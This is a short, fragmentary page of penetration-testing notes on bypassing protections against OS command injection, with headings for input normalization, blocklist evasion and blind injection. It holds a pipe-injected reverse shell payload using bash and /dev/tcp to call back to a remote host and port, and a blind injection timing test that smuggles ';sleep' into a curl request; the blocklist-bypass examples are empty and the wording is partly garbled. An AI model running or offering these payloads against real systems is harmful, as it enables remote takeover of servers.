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Dealing with Common Protection

Typical Input Normalization - Sending Clean Payloads

Original Payload: This payload contains bad characters & we must encoded it using burb suit.|bash -c 'bash -i >&/dev/tcp/192.168.x.x/9090 0>&1'

Typical Input Sanitization - Blocklisted Strings Bypass

Original Payload that gets blocked


Obfuscated Payload that gets executed


Blind OS Command Injection Bypass

Calculate the time without command injected

time curl ""

Calculate the time with command injected

time curl ";sleep%2020"